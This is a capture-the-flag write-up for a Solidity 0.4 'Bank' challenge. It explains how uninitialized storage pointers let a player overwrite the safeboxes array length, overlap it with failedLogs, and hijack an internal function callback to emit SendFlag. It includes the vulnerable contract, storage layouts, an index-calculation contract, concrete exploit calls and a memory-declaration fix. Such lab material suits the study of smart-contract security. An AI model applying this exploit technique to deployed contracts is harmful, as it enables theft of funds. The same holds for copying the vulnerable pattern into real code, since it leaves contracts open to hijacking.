12.storage @bank
2023-07-13 16:28:24 # 02.ChainflagCTF

storage(bank)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
pragma solidity ^0.4.24;

contract Bank {
event SendEther(address addr);
event SendFlag(address addr);

address public owner;
uint randomNumber = 0;

constructor() public {
owner = msg.sender;
}

struct SafeBox {
bool done;
function(uint, bytes12) internal callback;
bytes12 hash;
uint value;
}
SafeBox[] safeboxes;

struct FailedAttempt {
uint idx;
uint time;
bytes12 triedPass;
address origin;
}
mapping(address => FailedAttempt[]) failedLogs;

modifier onlyPass(uint idx, bytes12 pass) {
if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
FailedAttempt info;
info.idx = idx;
info.time = now;
info.triedPass = pass;
info.origin = tx.origin;
failedLogs[msg.sender].push(info);
}
else {
_;
}
}

function deposit(bytes12 hash) payable public returns(uint) {
SafeBox box;
box.done = false;
box.hash = hash;
box.value = msg.value;
if (msg.sender == owner) {
box.callback = sendFlag;
}
else {
require(msg.value >= 1 ether);
box.value -= 0.01 ether;
box.callback = sendEther;
}
safeboxes.push(box);
return safeboxes.length-1;
}

function withdraw(uint idx, bytes12 pass) public payable {
SafeBox box = safeboxes[idx];
require(!box.done);
box.callback(idx, pass);
box.done = true;
}

function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
msg.sender.transfer(safeboxes[idx].value);
emit SendEther(msg.sender);
}

function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
selfdestruct(owner);
}

}

analyses

In this challenge, our goal is to emit the SendFlag event. The uninitialized storage pointer info at line 32 allows us to overwrite the length of safeboxes to a large value, making safeboxes overlap with failedLogs. Thus, we can control the callback variable by triedPass in a FailedAttempt, and hijack the program flow to jump directly to the instruction where the SendFlag event is emitted.

Following the game contract’s logic, we may notice that SendFlag can be emitted only from the callback function sendFlag(), which happens if the safebox is deposited by the owner, the contract creator. However, the owner will not interact with the game contract after it was deployed, so we must exploit some vulnerabilities in the game contract to reach our goal.

To solve this level, we should know: If we execute an anonymous function in a struct, it will jump based on the content in the anonymous function. For instance: box.callback(id,pass) will jump to the positon that storage in EVM.

1
2
3
4
5
6
7
8
9
struct SafeBox {
bool done;
function(uint, bytes12) internal callback;
bytes12 hash;
uint value;
}
.....
SafeBox box;
box.callback(idx, pass);

Finding the Bug

After compiling the game contract in Remix (or other IDEs), several warnings popped out:

1
2
3
browser/Bank.sol:32:13: Warning: Uninitialized storage pointer. Did you mean ‘<type> memory info’?
FailedAttempt info;
^—————-^
1
2
3
browser/Bank.sol:45:9: Warning: Uninitialized storage pointer. Did you mean ‘<type> memory box’?
SafeBox box;
^———^

That is, info at line 32 and box at line 45 are uninitialized storage pointers. In Solidity < v0.5.0, the default data location for variables of structs and arrays is storage (Ref). If these variables are not declared with an initial value, they point to slot 0 in the storage by default, causing that data in slot 0 (or the next few slots) is overwritten when writing to these variables (or to the members of them).

Exploiting the Uninitialized Storage Pointers

Back to the game contract. When the contract is created, the variables stored at slot 0 to 3 are as follow:

1
2
3
4
5
6
7
8
9
-----------------------------------------------------
| unused (12) | owner (20) | <- slot 0
-----------------------------------------------------
| randomNumber (32) | <- slot 1
-----------------------------------------------------
| safeboxes.length (32) | <- slot 2
-----------------------------------------------------
| occupied by failedLogs but unused (32) | <- slot 3
-----------------------------------------------------

According to the structure of FailedAttempt, its layout in the storage is:

1
2
3
4
5
6
7
-----------------------------------------------------
| idx (32) |
-----------------------------------------------------
| time (32) |
-----------------------------------------------------
| origin (20) | triedPass (12) |
-----------------------------------------------------

At line 33 to 36, since info is uninitialized and points to slot 0, modifying the members of info leads to overwriting the values at slot 0 to 2. Similarly, the layout SafeBox is,

1
2
3
4
5
-----------------------------------------------------
| unused (11) | hash (12) | callback (8) | done (1) |
-----------------------------------------------------
| value (32) |
-----------------------------------------------------

and, in the function deposit(), slot 0 and 1 is overwritten by the members of box.

Notice that modifying slots 0 and 1, where the value of owner and randomNumber is stored respectively, is useless. Since even if we overwrite owner to our address, we should pass the check at line 74. However, if tx.origin is large enough, modifying the length of safeboxes can make it overlap with failedLogs. This happens with a probability of 1/2, depending on the value of tx.origin.

Controlling the Flow

Now, assume that safeboxes overlaps with failedLogs, and the callback of a Safebox element overlaps with the triedPass of a FailedAttempt element. Since triedPass is completely controlled by us, we can overwrite callback and further control the program flow (at line 64) by calling withdraw() with the corresponding index of the overlapped safebox element.

Calling internal functions in a contract is identical to executing a JUMP operation. Notice that EVM only allows us to jump to a JUMPDEST instruction. By inspecting the assembly code of the game contract, we can notice that jumping to the instruction 0x70f is exactly what we want. After the jump, the program continues to execute at line 75, emits the SendFlag event, and stops after executing the selfdestruct instruction.

So, this is our full exploit:

  1. Calculate target = keccak256(keccak256(msg.sender||3)) + 2.
  2. Calculate base = keccak256(2).
  3. Calculate idx = (target - base) // 2.
  4. If (target - base) % 2 == 1, then idx += 2, and do step 7 twice. This happens when the triedPass of the first element of failedLogs does not overlap with the callback variable, so we choose the second element instead. For ease of problem-solving, we only consider that (target - base) % 2 == 0.
  5. If (msg.sender << (12*8)) < idx, then choose another player account, and restart from step 1. This happens when the overwritten length of safeboxes is not large enough to overlap with failedLogs.(the safeboxes’ length should greater than idx, or it doesn’t overlap the failedLogs)
  6. Call deposit(0x000000000000000000000000) with 1 ether.
  7. Call withdraw(0, triedPass).
  8. Call withdraw(idx, any), and the SendFlag event will be emitted.

solve

1.put the contract into remix and get bytecode. Attention! the bytecode remix providing is consist of initcode and runtimecode, we only need runtimecode. So we should delete the content from the first 6080 to the second 6080. Because only the runtimecode will be deployed in EVM.

2.decomplie the runtimecode

3.Call deposit(0x000000000000000000000000) with 1 ether.

4.Call withdraw(0,0x111111000000000000075200).

5.calculate the idx: I use this EOA: 0xa8008e8a697d416EFDC227169ABE86fd579E197e in Ganache

  • target(0xa8008e8a697d416EFDC227169ABE86fd579E197e) = 0x87514589ce108cb2546817ef911709e5cba72d30b256cec09501ab6641ed19aa
  • base = 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace
  • ZeroIsPerfect(0xa8008e8a697d416EFDC227169ABE86fd579E197e) = 0
  • idx(0xa8008e8a697d416EFDC227169ABE86fd579E197e) = 16051576312513365899836508591052638300203044566877098313835095392794399268719
1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract cal{
function target(address _addr)public pure returns(bytes32){
return keccak256(keccak256(abi.encodePacked(bytes32(_addr),bytes32(3))));
}
function base() public pure returns(bytes32){
return keccak256(bytes32(2));
}
function idx(address _addr) public pure returns(uint256 idx){
return (uint256(target(_addr)) + 2 - uint256(base())) / 2;
}
function ZeroIsPerfect(address _addr) public pure returns(uint256){
return (uint256(target(_addr)) + 2 - uint256(base())) % 2;
}
}

And the safeboxes’ length is greater than idx

6.Call withdraw(idx, any), and the SendFlag event will be emitted.

the EVM

repair

To fix the bugs in the game contract, the data location of info and box should be explicitly declared as memory. Starting from Solidity v5.0.0, explicit data location for all variables of the struct, array or mapping types is mandatory (Ref).